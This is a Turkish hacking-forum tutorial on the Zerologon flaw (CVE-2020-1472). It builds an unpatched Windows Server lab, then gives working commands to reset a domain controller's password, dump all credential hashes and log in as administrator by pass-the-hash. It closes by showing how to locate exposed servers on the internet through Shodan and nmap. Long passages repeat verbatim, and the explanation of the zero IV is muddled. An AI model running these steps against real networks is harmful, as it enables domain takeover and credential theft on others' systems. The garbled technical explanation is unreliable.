İyi günler Türk Hack Team ailesi.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.
Zerologon Nedir?
Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.
Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.
Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.
Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
(Görsel orjinal whitepaper'den alınmıştır.)
Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.
Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.
Test Ortamı Oluşturma
Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.
Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.
Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen
Adım 2:
Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.
Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.
Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!
Hedef Sistemde Zaafiyeti Kullanma
Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.
Ardından, -Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.
Zerologon Nedir?
Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.
Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.
Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.
Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
(Görsel orjinal whitepaper'den alınmıştır.)
Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.
Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.
Test Ortamı Oluşturma
Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.
Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.
Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen
Adım 2:
Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.
Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.
Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!
Hedef Sistemde Zaafiyeti Kullanma
Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Kod:
sudo nmap -sn 192.168.1.101/24
Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.
Ardından, -Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Kod:
nmap -Pn -sC -sV 192.168.1.125
Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Kod:
git clone https://github.com/risksense/zerologon
cd zerologon
pip install -r requirements.txt
Şimdi
"python3 set_empty_pw.py kaydettiğimizhost serverip" şeklinde kodumuzu çalıştıralım. Bu kod handshake yaparak, serverin şifresini sıfırlamaya çalışır.
Kod:
python3 set_empty_pw.py WIN-FGM60KSKM87 192.168.1.125
Tadaaaa! hedefin şifresi başarılı bir şekilde sıfırlandı!
Şimdi
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
komutu ile sunucudaki bütün şifreleri toplayalım.
Kod:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'enistein.com/[email protected]'
Tadaa!! sunucuda yer alan bütün şifreler önümüzde.
Şimdi sunucuya login olmak için
Kod:
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
"wmiexec.py" dosyası, Windows Management Instrumentation (WMI) protokolünü kullanarak bir Windows işletim sistemi üzerinde uzaktan kod yürütmek için kullanılan bir araçtır.
Kod:
python3 wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:b1d16bcbb50ab0b60d9dcecfb3d67a91
Komutu ile login olalım.
Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!
Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!
Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!
Komutuyla port kontrolü yapabiliriz. Ayrıca, fikir vermesi için bir diğer yöntem bütün ip adreslerini bir listeye atıp, ardından
şeklinde taratmaktır!
Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz
Kapanış
Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.
Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)
Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!
Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!
Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap ipadresi
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap -iL iplistesi.txt
Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz
Kapanış
Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.
Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)
Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!